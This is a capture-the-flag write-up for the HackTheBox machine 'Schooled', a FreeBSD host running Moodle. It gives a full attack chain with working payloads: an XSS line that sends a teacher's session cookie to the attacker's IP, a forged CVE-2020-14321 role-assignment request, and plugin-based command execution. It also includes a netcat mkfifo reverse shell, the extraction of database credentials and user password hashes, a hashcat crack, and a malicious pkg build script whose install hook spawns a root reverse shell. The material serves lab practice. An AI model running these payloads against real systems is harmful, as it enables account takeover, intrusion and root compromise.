Nmap
Ffuf
Exploitation
Post exploitation
Privilege escalation 1
Enumeration
Hashcat
Privilege escalation 2
Sudo
Package creation
Package installation
Welcome to the Schooled writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
Schooled
tags: HTB
Medium
FreeBSD
Platform: Hackthebox
Difficult: Medium
S.O.: FreeBSD
Link: Click here
Enumeration
Nmap
To get started, we run a depth open ports scan.
$ nmap -A -Pn -p- 10.10.10.234
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-03 21:42 CEST
Nmap scan report for 10.10.10.234
Host is up (0.094s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
1 service unrecognized despite returning data.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/3%OT=22%CT=1%CU=40836%PV=Y%DS=2%DC=T%G=Y%TM=6068C6AE
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=RI%TS=22)OP
OS:S(O1=M54DNW6ST11%O2=M54DNW6ST11%O3=M54DNW6NNT11%O4=M54DNW6ST11%O5=M54DNW
OS:6ST11%O6=M54DST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)EC
OS:N(R=Y%DF=Y%T=40%W=FFFF%O=M54DNW6SLL%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=FFFF%S=O%A=S+%F=AS%O=M54DNW6ST11%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 94.07 ms 10.10.14.1
2 94.29 ms 10.10.10.234
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 393.35 seconds
Ffuf
Let's do a bit of fuzzing to try and find subdomains.
$ ffuf -w /usr/share/wordlists/custom.txt -H "HOST: FUZZ.schooled.htb" -u http://10.10.10.234/ -mc 200 -fl 462
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://10.10.10.234/
:: Wordlist : FUZZ: /usr/share/wordlists/custom.txt
:: Header : Host: FUZZ.schooled.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response lines: 462
________________________________________________
moodle [Status: 200, Size: 84, Words: 5, Lines: 2]
We have found a moodle
so let's add it to our /etc/hosts
file as moodle.schooled.htb
and explore it.
Exploitation
Within the course Mathematics
, we can read an announcement with the name Reminder to join the students
that tells us:
This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set.
Students who do not set their MoodleNet profiles will be removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.
Look forward to seeing you all soon.
Manuel Phillips
And, if we look inside our profile, we can find the MoodleProfile
entry inside it. We can write a simple XSS
to steal the user's cookie and get the teacher's cookie.
<scrip>document.write('<img src=x onerror=this.src="http://10.10.14.9/?c="+document.cookie>');</script>
10.10.10.234 - - [04/Apr/2021 09:50:08] "GET /?c=MoodleSession=72nm3m4h4igo38jsgge1p65avd HTTP/1.1" 200 -
Perfect! we already have it, now we are going to replace our cookie with the teacher's.
To convert Manuel
into a manager we can take advantage of CVE-2020-14321. To do this, we must intercept with BURP
the request corresponding to Enroll Users
(Maths/Participants/) after having selected the desired user.
Once we have intercepted it, we must replace the parameter userlist% 5B% 5D = 28
with the id
of the user Manuel
which is 24
and replace the value of roletoassign = 5
with1
.
GET /moodle/enrol/manual/ajax.php?mform_showmore_main=0&id=5&action=enrol&enrolid=10&sesskey=oLaBTOsHw2&_qf__enrol_manual_enrol_users_form=1&mform_showmore_id_main=0&userlist%5B%5D=24&roletoassign=1&startdate=4&duration= HTTP/1.1
Host: moodle.schooled.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://moodle.schooled.htb/moodle/user/index.php?id=5
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: MoodleSession=72nm3m4h4igo38jsgge1p65avd
Now, we need to add a Lianne Carter (The administrator of this moodle platform) as Manager
of the Mathematics course.
For doing so, we only have to enroll him selecting the Manager role.
Then, going to the Manuel Phillips profile for the mathemtics course, we need to click in the Manager link
Then we need to click in Lianne Carter.
Now, we can login as him.
Note: You must do this pretty quickly, because the roles are being reseted after a while.
Now we need to modify the Manager role permissions in order to be able to install a new plugin. First, we need to access Site administration/Users/Define Roles/Manager/Edit
. Then, we intercept with burpsuite the request produced by clicking on "Save changes", editing the request as the following link.
Note: do not replace the sseskey
variable.
Before install, we need to allow the insecure plugins upload accesing here.
Now we can install a plugin in the following url. For obtaining an RCE you can upload this file.
Once installed you will see the banner telling you, that it has been installed correctly.
Now you can execute commands through this link.
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id
If you want a reverse shell, use this payload, changing the IP and port.
http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.15.26%204444%20%3E%2Ftmp%2Ff
Post exploitation
Privilege escalation 1
Enumeration
Inside the moodle
instalation files, we can find the config.php
file with the MySQL
credentials.
cat /usr/local/www/apache24/data/moodle/config.php
[...]
$CFG->dbtype = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
'dbpersist' => 0,
'dbport' => 3306,
'dbsocket' => '',
'dbcollation' => 'utf8_unicode_ci',
);
[...]
Now, with the database credentials we can extract all the credentials from the registered users in the moodle platform.
/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "show databases; use moodle; show tables; describe mdl_user;"
[...]
username varchar(100) NO
password varchar(255) NO
[...]
/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "use moodle; SELECT username, password FROM mdl_user;"
username password
guest $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2
admin $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
bell_oliver89 $2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK
orchid_sheila89 $2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC
chard_ellzabeth89 $2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC
morris_jake89 $2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy
heel_james89 $2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim
nash_michael89 $2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu
singh_rakesh89 $2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu
taint_marcus89 $2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa
walls_shaun89 $2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga
smith_john89 $2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em
white_jack89 $2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK
travis_carl89 $2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S
mac_amy89 $2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i
james_boris89 $2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq
pierce_allan $2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy
henry_william89 $2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu
harper_zoe89 $2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy
wright_travis89 $2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm
allen_matthew89 $2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq
sanders_wallis89 $2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u
higgins_jane $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2
phillips_manuel $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG
carter_lianne $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe
parker_dan89 $2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi
parker_tim89 $2y$10$YCYp8F91YdvY2QCg3Cl5r.jzYxMwkwEm/QBGYIs.apyeCeRD7OD6S
x4v1l0k $2y$10$PxajPwQA4jH/QMdb4ohwPuRKWhIbm4eSFHfI5ZQCCBcVu2FE/f3PC
pepe $2y$10$wfXpNKAc1/KNWMbxEykLzeK82cGTJSfrzrUGTt07hQ5udT9xJdQU.
Hashcat
All these hashes are blowfish.
kali@kali:~/Documents/HTB/Schooled$ hashid
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
Analyzing '$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW'
[+] Blowfish(OpenBSD)
Because, blowfish is a time computing hash function we are just going to focus on the admin
hash.
$ hashcat -a 0 -m 3200 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.0.0) starting...
[...]
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx
The admin
(!QAZ2wsx
) password for the user jamie
through SSH.
And now being jamie
we can read the user flag.
Privilege escalation 2
Sudo
We can install packages as sudo.
jamie@Schooled:~ $ sudo -l
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *
So as we did with the machine Armageddon, we are going to use the installation hooks in order to obtain a reverse shell as root.
Package creation
In order to create the package I followed this post. But here you have the modified script with the reverse shell attached.
Note: Do not forget to change the IP and port.
#!/bin/sh
STAGEDIR=/tmp/package
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
cat >> ${STAGEDIR}/+PRE_INSTALL <<EOF
# careful here, this may clobber your system
echo "Resetting root shell"
rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 10.10.15.26 4444 >/tmp/a
EOF
cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "Registering root shell"
pw usermod -n root -s /bin/sh
EOF
cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: mypackage
version: "1.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF
echo "deps: {" >> ${STAGEDIR}/+MANIFEST
pkg query " %n: { version: \"%v\", origin: %o }" portlint >> ${STAGEDIR}/+MANIFEST
pkg query " %n: { version: \"%v\", origin: %o }" poudriere >> ${STAGEDIR}/+MANIFEST
echo "}" >> ${STAGEDIR}/+MANIFEST
mkdir -p ${STAGEDIR}/usr/local/etc
echo "# hello world" > ${STAGEDIR}/usr/local/etc/my.conf
echo "/usr/local/etc/my.conf" > ${STAGEDIR}/plist
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .
Now we need to execute the script in the FreeBSD machine.
Package installation
jamie@Schooled:/tmp $ chmod +x script.sh; ./script.sh
jamie@Schooled:/tmp $ ls
mypackage-1.0_5.txz mysqlx.sock script.sh
mysql.sock mysqlx.sock.lock
mysql.sock.lock package
pkg by default checks the online FreeBSD repository catalogue we can not install the package, so it hangs until it updates the catalogue (It is not gonna happend)
jamie@Schooled:/tmp $ sudo /usr/sbin/pkg install mypackage-1.0_5.txz
Updating FreeBSD repository catalogue...
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
Hence, we need to add the flag --no-repo-update
so it doesn't update the catalogue.
jamie@Schooled:/tmp $ sudo /usr/sbin/pkg install --no-repo-update mypackage-1.0_5.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
mypackage: 1.0_5
Number of packages to be installed: 1
Proceed with this action? [y/N]: y
[1/1] Installing mypackage-1.0_5...
Resetting root shell
rm: /tmp/a: No such file or directory
Now, the installation will hang, but we will obtain a reverse shell as root.
kali@kali:~/Documents/HTB/Schooled$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.109.156] 11387
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# wc -c /root/root.txt
32